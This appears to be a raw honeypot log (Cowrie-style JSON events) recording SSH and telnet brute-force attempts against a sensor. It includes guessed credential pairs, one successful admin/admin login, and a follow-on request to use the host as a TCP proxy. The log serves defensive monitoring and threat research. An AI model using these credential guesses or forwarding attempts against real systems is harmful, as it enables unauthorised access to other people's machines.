{"eventid":"cowrie.session.closed","duration":13.337111711502075,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:17.801753Z","src_ip":"182.111.210.225","session":"207264407ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.10040831565857,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:20.675318Z","src_ip":"192.119.13.58","session":"c3ffd078c799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54134,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2cd2fc3d6f","protocol":"ssh","message":"New connection: 103.153.68.219:54134 (10.17.0.5:22) [session: 8a2cd2fc3d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:23.454374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:23.459580Z","src_ip":"103.153.68.219","session":"8a2cd2fc3d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:23.717634Z","src_ip":"103.153.68.219","session":"8a2cd2fc3d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3879611492157,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:24.120446Z","src_ip":"192.119.13.58","session":"f3f68e2c7460","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234asdf","message":"login attempt [root/1234asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:24.474109Z","src_ip":"103.153.68.219","session":"8a2cd2fc3d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:25.731156Z","src_ip":"103.153.68.219","session":"8a2cd2fc3d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.253767013549805,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:30.468036Z","src_ip":"192.119.13.58","session":"0de83b997766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.14600467681885,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:31.151317Z","src_ip":"192.119.13.58","session":"a8dfdfe4f327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39122,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f31a3bc037","protocol":"telnet","message":"New connection: 192.119.13.58:39122 (10.17.0.5:23) [session: 40f31a3bc037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:32.008821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54694,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ae27a0939cf","protocol":"ssh","message":"New connection: 45.153.34.112:54694 (10.17.0.5:22) [session: 5ae27a0939cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:33.134366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:33.139193Z","src_ip":"45.153.34.112","session":"5ae27a0939cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:33.221792Z","src_ip":"45.153.34.112","session":"5ae27a0939cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:33.478539Z","src_ip":"45.153.34.112","session":"5ae27a0939cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:34.584905Z","src_ip":"45.153.34.112","session":"5ae27a0939cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.073650598526,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:34.590188Z","src_ip":"192.119.13.58","session":"611aa2d8a8f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.09232187271118,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:35.980498Z","src_ip":"192.119.13.58","session":"5c7b0b319b55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54714,"dst_ip":"10.17.0.5","dst_port":22,"session":"858bb832d8c5","protocol":"ssh","message":"New connection: 45.153.34.112:54714 (10.17.0.5:22) [session: 858bb832d8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:36.725917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:36.813761Z","src_ip":"45.153.34.112","session":"858bb832d8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:36.911834Z","src_ip":"45.153.34.112","session":"858bb832d8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.89017581939697,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:37.078392Z","src_ip":"192.119.13.58","session":"5bb2ceffdd8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:37.189587Z","src_ip":"45.153.34.112","session":"858bb832d8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33450,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fda6db5bb74","protocol":"telnet","message":"New connection: 192.119.13.58:33450 (10.17.0.5:23) [session: 4fda6db5bb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:37.347324Z"}
{"eventid":"cowrie.session.closed","duration":42.442420959472656,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:37.610224Z","src_ip":"192.119.13.58","session":"102fa2421b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:38.274459Z","src_ip":"45.153.34.112","session":"858bb832d8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43742,"dst_ip":"10.17.0.5","dst_port":23,"session":"903ee77c281b","protocol":"telnet","message":"New connection: 192.119.13.58:43742 (10.17.0.5:23) [session: 903ee77c281b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:39.682880Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39112,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e64e806556","protocol":"ssh","message":"New connection: 45.153.34.112:39112 (10.17.0.5:22) [session: 83e64e806556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:40.543429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:40.548138Z","src_ip":"45.153.34.112","session":"83e64e806556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:40.630597Z","src_ip":"45.153.34.112","session":"83e64e806556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:40.973350Z","src_ip":"45.153.34.112","session":"83e64e806556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:42.059783Z","src_ip":"45.153.34.112","session":"83e64e806556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51782,"dst_ip":"159.203.135.109","dst_port":22,"session":"bffef93d5221","protocol":"ssh","message":"New connection: 45.148.10.121:51782 (159.203.135.109:22) [session: bffef93d5221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:42.615330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:42.625605Z","src_ip":"45.148.10.121","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:42.711039Z","src_ip":"45.148.10.121","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:42.983338Z","src_ip":"45.148.10.121","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.070755Z","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34078,"dst_ip":"159.203.135.109","dst_port":22,"session":"50e86c92dd68","protocol":"ssh","message":"New connection: 193.228.128.84:34078 (159.203.135.109:22) [session: 50e86c92dd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.113066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.117887Z","src_ip":"193.228.128.84","session":"50e86c92dd68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.156970Z","src_ip":"45.148.10.121","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.160943Z","src_ip":"45.148.10.121","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.219601Z","src_ip":"193.228.128.84","session":"50e86c92dd68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.248245Z","src_ip":"45.148.10.121","session":"bffef93d5221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51788,"dst_ip":"159.203.135.109","dst_port":22,"session":"87fbc84ba1be","protocol":"ssh","message":"New connection: 45.148.10.121:51788 (159.203.135.109:22) [session: 87fbc84ba1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.333403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.338188Z","src_ip":"45.148.10.121","session":"87fbc84ba1be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:00:43.436293Z","src_ip":"45.148.10.121","session":"87fbc84ba1be","protocol":"ssh"}
